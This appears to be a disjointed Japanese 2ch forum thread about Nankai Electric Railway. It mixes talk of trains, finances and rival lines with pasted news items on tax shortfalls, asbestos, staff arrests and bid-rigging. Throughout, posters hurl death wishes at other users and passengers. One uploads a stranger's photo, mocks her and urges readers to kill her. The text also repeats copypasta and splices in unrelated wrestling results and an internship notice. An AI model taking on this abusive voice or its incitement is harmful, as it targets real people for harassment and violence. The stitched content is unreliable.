に住むのが憧れで、低民度の南海沿線には住みたくないんだってさ(^p^)ﾌﾟｯで、南海はいつ東証上場すんの？できもしないことを宣言する程度の低い会社だことw有言実行＝京阪口からでまかせ＝南海>48「あえて、今から登録を
めざす遺産の中に（南海の計画しているような）高層ビル、それも地元の反対があるとなれば絶望的ですね」（京都府立大学・宗田好史助教授談）次回南海都市伝説絵巻第536話総括！相互利用で輪を広げる裏テクおやすみ明日
俺も鳥参加させてもらうよパソコン二台あるから6連の7000系を目指そう極楽橋から高野山まで360円だったが何であんなに高いんだ？泉佐野〜関空は大阪がかんでるから分かるが、和歌山がかんでるとでも？おやすみ南海岸和田
から南はマジで田舎だねのんびりしすぎ大阪も人口減少で、和歌山が増えるとは考えにくいが。増えても一時的なもので、ここ十数年の減少傾向に変化はないと考えられる。関西で今後３０年間で、人口増加が見込まれるのは、
兵庫県と滋賀県だけです。地域を細かく見れば、京都府内なら京都市内が増加して、京都府全体で減少のようなケースもありますが、和歌山は局地的にも増加する見込みは薄いです。南海の場合は、通勤客の減少を観光需要や空
港輸送の増加でカバーしていくことになります。特急の拡充で、乗客が減少する中で収入を増やしました。今後は有料特急が増えるのではと予想しています。極めたら、独占区間は急行はラッシュ時のみで、普通列車と特急しか
走らせんかったら嫌やわ。

>303すごいな〜紀伊神谷の５００倍以上じゃん>307２００６年度の統計資料によると、「１日の総乗降客数：１９人」とありまっせ>309１００００系は９０００系とも組めるというウワサを聞いたことがある。

>314９０００系を改修すればおけ

>324人件費の削減で利益が上がってるだけで、社員のモラルの低下は著しいけどね

いよいよヌケドラピーンか次回南海都市伝説絵巻第598話ヌケドは50004が担当寝る

新今宮でカメラ持ったおやじがいた普通に死ね>374電車写真集ら読まんもん死ね

読まなくてもいいし書いてるだけやしバカじゃねーの？お前も含めてうざい死ねはお前も言ってるはずカスはひっこんでろ7000系は黙ってろ俺みたいな1000系には勝てないさ

和歌山市も和バスと一緒で南海和歌山市駅としたらいいのに

406だから無視すればいいものをバカだなお前はこのスレの恥

>414バカがまた一人わきでた別に書いてるだけやさけ何とも思ってないが？ただ書いてるだけやし写真も見なけりゃいい話。バカはそんなことも分からんのか。7000系丸だしだな触れてほしくないとか思ってるとか何か勘違いし
てるようで？妄想乙邪魔なやつがいるから成功できなかったな。また明日からがんばろう寝る

kd121105084184.ppp-bb.dion.ne.jp

むしろ近接列車走行位置情報を

8000の投入はマジ？どっから湧き出たんだ？型番がないのは5000もそうだねぇ、南海の東証一部上場、マダァー？（･∀･）っ/凵⌒☆チンチンチン☆⌒ 凵＼(＼･∀･)まちくたびれたー!!

南海には､トンネルを掘る予算がないのと､都市開発も下手なので無理です｡かといって､世界遺産の高野山をはじめ熊野に来る人は多いが､山岳のカーブで気分が悪くなる人が多い為､二度目は敬遠する為､観光客も伸び悩んでいます。これは本当の話｡

>487リピーターが増えないのは、カーブで気分悪くなるからっていうより単純に不便すぎるからでしょ橋本･極楽橋･高野山と乗り換え3回、時間帯間違えたら毎時1本、現代人の感覚では究極的に遅いスピード(交換待ちあわせ等
含む）などなどメインユーザーの中高年にとっちゃ、スピードはともかく乗り換え多い、座席定員少ないのはキツイ山岳区間立ちっぱなしなんて目にあったら、次は車で行こうってなっちゃうよな、どうしても。

南海電車ではよ帰れ

珍

新今宮

南海がまた借金をしました。今度は200億ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ南海は新駅「鎌ヶ谷駅」を開業するべき！次回南海アンチ物語第1話借金しますだまた赤字しますだ乞うご期待200億で何するんだろう南海の
東証一部上場はまだですか？南海の東証一部上場はまだですか？社長、だいぶ前の株主総会で公約したんじゃなかったっけ？南海の東証一部上場はまだですか？社長、どうせできもしない妄想を公言して、株価吊り上げようと思
ってたんじゃないの？使い道は、なんばパークソ２期工事で大林組に支払う工事代金の穴埋めっぽいな。そんなんするなら、昔の大ドーム復活せえや。ちょうど時期的に阪急梅田の直後というのが悪かったな。梅田ほど後退して
はないけど、総体的に梅田をパクッたのは事実。ただ高度成長の最終時期のため、レンガ風壁を主体にしたシックなものにはなった。ただしなんばCITYは西武風味のため、東京的なケバケバしさが目に付いた。自社の体力考えず
にパークソ２期工事強行したからな。社債は工事で現金の資金繰りが苦しくなったことに対する補完。で、東_証_上_場はいつするの？社長さん。次回南海オフシーズン物語第2話株主総会で5000系発表何で8000系なん？空き数字
あるはずじゃー泉北が使ってたら南海が使ったらだめなのか？新車で8000を使うと次の新車がもしあるとするともう無いけどどうするんだろう。別件で、定期だと同じ駅で出入りできるけど、普通の切符やコンパスカードやICOC
Aで同じことできるんだろうか？要は、エラーになるのか入場券扱いになるのかということなんだけど。>829なるほどねーそういうのがあるわけかー>847定期は普通に出来てたから知ってるがそれ以外はエラーになるのかやっぱ
り入場扱いにしたら不都合なことあるかな？おやすみ移動を勧めたらいい話では？てか、こっち仕事やのにカップルかなんかしらんけど外出るなよな今すぐシネよガチに

1051にペットを持ち込んでるカス発見今すぐ死ねしかも大型犬死ねよマジ◆◇◆◇◆南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００
１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含
め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」
などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったと
して過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆南海電鉄アスベストむき出し◆◇◆◇◆南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベス
トが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く
予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれ
はないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野
駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが

吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コ
ンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜
多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニ
オンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci◆◇◆◇◆減損処理で当期赤字に南海電鉄決算
◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html＜住んでみたい街（関西）2006トップ10＞に、南海ヲタのご自慢でありよりどころである「帝塚山」どころか
南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫しプライドをズタズタにされた南海ヲタw住んでみたい街（関西）トップは「芦屋」ソースttp://allabout.
co.jp/house/townkansai/closeup/CU20060925A/ttp://www.major7.net/trendlabo/005a-asahi.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：

中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中
間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490
１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RT
RS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14
:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益
（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today
.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS南海の人気のないことw沿線に住んでみたい／死んでも住みたくない路線ttp://hobby9.2ch.net/test/read.cgi/rail/1180
528618/l50

南海はボロい

sage

南海

珍作さんって、いつ出て来るの？南海車両がどんどん改造されてゆくいちご電車、おもちゃ電車さて次は何だ南海でも何かすればいいのにおやしみ>322(1)つく(2)つかない(3)つかない(4)わからん(5)わからん(5)わからん(7)わ
からんわかってるところではこんなところ。南海ってボロ車ばっかやし橋本以南とかさ、バスで十分だろ。廃止して捻出した金で大阪狭山市を2面4線化、急行を止めて住宅地を回るバスを走らせろ。6500系を更新したら素晴らし
いものになりそうなんだが。元の質は良いほうだろ？関西の米はなぜまずいのか？よくこんなまずいもん大阪人は食えるよな、と思う。

次回！南海都市伝説絵巻第945話眠る貴志川センにおじゃましました。寝る

ttp://m.pic.to/g9srdベビカーを棚にのせてたアホ家族死ね8200Fと1051Fが新今宮で並んだW鉄ヲタが撮影してたからアプまてttp://l.pic.to/bi54d美しい>>675まー夜にとっておきの画像をアップしてやるから待っていろ

南海って、車両の連結部分でションベンするオッサンがいるけど、清掃はどうやってんの？

ttp://j.pic.to/jvu2ttp://p.pic.to/daswsギャハハハハハは

南海はぼろい

ぼろい

(ﾟдﾟ)

加太経由なら友が島も通る２１２０ネン着工：南海御堂筋まもなく1番線から14時26分発極楽経由千代田行きが50000系で発車します。ご乗車のお客様は乗車券の他に数珠をご持参し頭髪検査に合格くださいませ。>787絵巻房は引
っ込んでろカス南海電車はボロばっかり情けないな南海は、ボロ車の宝庫や〜！！ひこまろ基地外ども全員しねやさートリ成功だぜええええｗｗｗｗｗさて、内部情報だが、総会で新車発表は確実だ配当は下がるみたいだ>885お
前が絵巻房だな次回南海都市伝説絵巻第997話基地外ＶＳ直接対決！！！しねー乞うご期待7000を7100に改造したらいいやん？ラピーンダイヤどうなるか聞いてーラピーンラピーンあーラピーンでカピーンチョピーンでハビーン
カピーンたまづ7000系大好きいやならシネーあと９ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗフォオオオオオオオオオオオオオオオ今日もトリしてやるｗｗｗｗｗｗｗ６連めざそうねええええええええｗｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗスレたてるスレたてるスレたてるMicrosoft.NETFramework3.0.NETFramework>951952うっせーザコしねID:BDQ6GxKxID:BDQ6GxKxID:BDQ6GxKxID:BDQ6GxKxささと立てろ>１絵巻房オツよってしね◆◇◆◇◆南海電鉄が申
告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かっ
た。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設ににつ
いて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほか
にも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1

.html珍作仕事早いなｗ>5ありｗｗｗ次回南海都市伝説絵巻だああああああああああ>1-22しね,___,,´:::.:.,.´::.､,'´｀:..,,.',.-､,.-､:.:',,'l:::::::::::}{::::::::::::}:.;都市伝説だお;廴:::ノ,廴:::ノ:.:;.;ゝ＿__ハ
､＿__ノ.::.:::;',::.:::::;;'ﾞ､.:::.::;''｀ー------―'"´,──────────|だったら縮小サイズでいいも。,.''''、ノ'──────────,.''.,;●●;',.'ー'＾'ー','丶、,,,,,,,.東武８０００系なめんなよ南海
はぼろい8月11日南海本線ダイヤ改正。2000系24両が本線営業開始。7000系2連口から廃車予定。8000系11月入線。アコモは2300系と同様。網棚はアクリル版からステンレス棒へ。オールロングシート蛍光灯カバーは無し。床下機
器1000系6次車と同様。前照灯は2300系と同じく貫通路上に設置台車はボルスタレス、ユニットブレーキを装備。パンタはシングルアーム。塗装はステンレス無地のまま。>162次回南海で何回難解した？第996話マジレスするとそ
れから廃車予定乞うご期待！これでいいか雑魚死ね>237俺には区急は必要な存在。むしろ急行や空港急行を減らして欲しいくらいだ次回改正区急の増発だけでいい

おやすみん

で、南海はいつ東証１部上場するの？

クロマティが“巨人愛”で激勝、ホームランチョップ炸裂!=ハッスル・エイド上半期の集大成となる「ハッスル・エイド２００７」が１７日、さいたまスーパーアリーナに満員となる１万４６１７人を集め行われた。今大会では
元巨人軍の“最強助っ人外国人”ウォーレン・クロマティがプロレスデビュー。”インドの狂虎”タイガー・ジェット・シンとタッグマッチで激突し、見事初勝利した。ttp://headlines.yahoo.co.jp/hl?a=20070617-00000026-s
pnavi-fight試合結果は以下の通り。●天龍源一郎（１１分５５秒ゲイ道リラー）○ＨＧインリン様、●ＴＡＪＩＲＩ（８分５６秒　シャイニングウィザード）○グレート・ムタ、ＲＧ○坂田亘（１１分２６秒スーパーキック）
●スコット・ノートンタイガー・ジェット・シン、●アン・ジョー之助（４分５０秒ビバ！！ジャイアンツ）※スライディングキック○ウォーレン・クロマティ、崔領二○高山善廣、鈴木みのる（１０分２８秒エベレストジャー
マンスープレックスホールド）“モンスターＫ”川田利明、●ＡＣＨＩＣＨＩ●キンターマン、クロダーマン、ランデルマン、コールマン（６分２１秒スモールパッケージホールド ）○ザ・モンスター℃、“モンスターＫ'”佐
藤耕平、ジャイアント・バボ、鬼蜘蛛スーパーフライングヴァンパイアＩ世、●スーパーフライングヴァンパイアII世（７分３２秒ムーンサルト）○ＫＵＳＨＩＤＡ、＼（^o^）／チエ

南海線沿線の空気は相当悪い。特に堺市内。工場の排気で目がショボショボする。

堺市＝放置自転車の撤去みたいないらん事は毎日やるのに小学校の給食室に冷蔵庫すらないという全国一ＤＱＮな市。

本線・高野線とも、今後は車両の新造を行えません。よって、順次しЯからｷﾊ58/28等の中古気動車を購入の上、最終的には電化設備・電車を撤去致します。車両数減少に伴う混雑化・運転本数減が発生しますが、ご了承下さい。
最近空港急行が、大阪駅や天王寺駅や京橋駅を起点に圧倒的なネットワークを誇るJR関空快速に歯が立たなくなってきた感がある。>493それを言うなら圧倒的なネットワークを誇るリムジンバスです。大阪駅から関空快速乗るな
んて初心者かレイルパス持ちの外国人だけ。>500南海対JRでいえば、難波までしか行けない南海には正直勝ち目がない。JRはどこへでも行けるのが強み。こればっかりはどうしようもない。

不動産開発事業にはお金は貸し出せても、鉄道施設建設には消極的って、どうよ。

りんかんサンラインだけでも阪急並にしてください。
沿線に高級住宅街もあるし、若者も多いから。

>>554
ＪＲで行けるのは天王寺と新大阪と京都だけだろ。
それなら難波に直通する南海の方が便利じゃないのか？
南海でも乗り換えればどこにも行ける。
大阪駅〜関西空港でバス利用が常識なのはその通りだ。
大阪駅からＪＲ1本で関空に行くより、
地下鉄で難波まで行って南海に乗り換えた方が安いなんて
ＪＲの運賃の高さがよくわかるな。
所要時間も関空快速より、地下鉄＋ラピートの方が速いんじゃないの？

◆Gがこんな越境のコピペ墓場のスレにまで来るとはな。

あれ？樽井行きって、まだあったん。それにしても阪和スレでもここでも不満だ酉参加するぜwwwwらけ。相手が南海ではJRも競争は適当か。運賃も車両もスピードもトータルではJR優位だし。ここらで何か積極策がほしい。南海
はボロい>710南海労組は私鉄系では5本の指に入る強力組織ってどっかで読んだ南海は阪急なんかに比べて元々地理的ロケーションに恵まれてないんだから、本当ならそこを経営の努力・工夫でカバーしていくべきなのに、現実
には経営者はアホだわ労組は無意味に強いわでは、ますますジリ貧一方だよなあ>735運転士まで契約社員化してる会社なんて富士急行以外聞いたことがない。>772地元民に、ついに南海も（商売が苦しくて）ペンキをケチった電
車か・・といわれたとかいわれなかったとか。南海がショボに決まってる。6200系より3000系のほうがマシだろうなttp://o.pic.to/aavxe俺が先に並んでたらこの女が平気な顔して俺の前に並びやがったぜ。舌打ちしても何も気
づかず平然としてやがるwwwwwwwwwwwまー電車来たときは俺が前に出て目的場所に座れたからいいが、うざいから顔晒しあげてやるwwwwwwwwwww見ろこの不細工さをwwwwwwこいつを見かけたらかまわず殺せw

2000系みたいなクソ車両、よく大量投入したよな南海辰村建設に、「排除措置命令」と「667万2000円の課徴金納付命令」、ｷﾀｷﾀｷﾀｷﾀ━━━(ﾟ∀ﾟ≡(ﾟ∀ﾟ≡ﾟ∀ﾟ)≡ﾟ∀ﾟ)━━━━!!!!!!!!!!

談合で、南海辰村建設に「排除措置命令」と「667万2000円の課徴金納付命令」、ｷﾀ─ｗﾍ(ﾟ∀ﾟ)√ﾚ( ﾟ∀)ｗﾍ(ﾟ)√ﾚ()ｗﾍ()√ﾚ(ﾟ)ｗﾍ(∀ﾟ)√ﾚ(ﾟ∀ﾟ)√ﾚｖ〜!!!!間違えたー━━━━⊂（ﾟωﾟ⊂⌒｀つ≡≡≡━━━━!!談合で、
南海辰村建設に「排除措置命令」と「6672万円の課徴金納付命令」、ｷﾀ━━━ヽ(∀ﾟ)人(ﾟ∀ﾟ)人(ﾟ∀)ノ━━━!!!南辰、マジで潰れるんとちゃうか？6千万以上も払った上、この先1･2年は全国の官公庁から指名停止処分食らっ
て公共工事にもありつけず、南辰の株が下がり南海の資産が目減りして…、さらにまた当面南海が南辰の赤字の補填させられ、7000系があと20年(ry

南海もおけいはんの運行管理システムを見習うべきではなかろうか？

さっそく防衛省が南海辰村建設を指名停止、ｷﾀﾜｧｰ*･ﾟﾟ･*:.｡..｡.:*･ﾟ(ﾟ∀ﾟ)ﾟ･*:.｡. .｡.:*･ﾟﾟ･*!!!!!ttp://www.mod.go.jp/j/news/2007/06/22.pdf

◆◇◆◇◆南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されてい
たことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同
社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にした
という。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
s/topics/index/02122/1.html談合で、南海辰村建設に「排除措置命令」と「6672万円の課徴金納付命令」、ｷﾀ――♪o(ﾟ∀ﾟo)(oﾟ∀ﾟo)(oﾟ∀ﾟ)oｷﾀ――♪さっそく防衛省が南海辰村建設を指名停止、ｷﾀﾖ((´･|ｷﾀﾖ((´･ω|ｷﾁｬｯﾀﾖｰ((
｀･ω・´|ttp://www.mod.go.jp/j/news/2007/06/22.pdf

しかし片方扉死ね

辰村飛んだら南海も飛ぶ。
赤字になっても辰村に補てんし続けるしか道はないのかも。

公共工事がダメなら電鉄高架工事も出来ないの？

南海辰村建設の不祥事による課徴金納付命令・排除措置命令・指名停止で、南海の連結決算への甚大な影響、ぃぇ―――――、(。･Д･)人(･Д･。)――――――ぃ!…真面目に8000系とやらは片扉なのか？本線投入新形式→3000系
新型特急車→8000系万が一、こうなったら8000系は片開きかもな。

もっと南海の素晴らしさを全国へ配信せねば。関空からはＮＡＮＫＡＩをヨロシク＞外人

次回、南海都市伝説絵巻第994話全員しねカスめしねｗｗｗｗｗ乞うご期待

南海辰村建設

何で7000ばっかりなボケさっさと廃車にしてまえ南海もうだめぽ南海は車内に灰皿を設置した方がいい。車内の床がタバコで焦げてるし。566：名無しでGO!：2007/06/24(日)03:34:24ID:oZnudjNP0辰村飛んだら南海も飛ぶ。赤字
になっても辰村に補てんし続けるしか道はないのかも。南海辰村建設、大型公共事業を多く抱える東京都から指名停止！！！アヒャヒャヒャヒャwwwttp://vista.o0o0.jp/img/vi8295591762.jpgしねええええええええええええ全
員しねやオラヴォケの塊がダイヤ改正と新車発表くるんじゃっよレポしたらしっかし南辰は、いつもいつも足引っ張ってばっかやな。南辰腹立つ南海が安月給なのと、南海の社員が有馬温泉で強姦して逮捕されたのとは、因果関
係があると思う。 新聞に載ってたが、なんばに〇│〇│とかいうデパートが出来たそうで、和歌山人には「大阪の今までのデパートと違って都会的」という声があるそうな。そういう〇〇者（自粛）に意識的にアピールするの
もいい。基本的に和歌山では圧倒的に車しか買い物には使わないだろうから。

ttp://nottydiary.exblog.jp/4521651>関空は沈下と巨額の負債という二大問題を抱える現状であります。ttp://weruemon.exblog.jp/6318761>まったくもって関空は空港もラウンジもイマイチなところである。ttp://d.hatena.n
e.jp/kajitex/20070418>これがまた不便！！ttp://blog.chase-dream.com/2006/10/18/40>不便な関空まで行かないといけないし

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　　　　　　　　 > 曲/　　＜　　　　South Ocean Electric Railway Co., Ltd.
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近鉄･京阪･大阪モノレール･泉北高速の回数券、金券ショップ取扱いなし。
　

ゴールドマンサックス〜国際教育企画応募資格
2007年1月10日（推薦応募締切り）の時点で、下記大学の2年生であること。

京都大学 慶應義塾大学 国際基督教大学 上智大学 東京大学 東京工業大学 一橋大学 早稲田大学

2007年4月時点で、3学年に在籍していること。専攻・国籍は不問。
ただし既に学士号を取得している者と、就職経験のある者は除く。
Global Leadership Instituteに参加するに十分な英語力を有すること。


関空から北米路線が次々と減少：夏の関空発、わずか3路線、週21便 [朝日 07/07/06]

http://www.asahi.com/kansai/news/OSK200707060014.html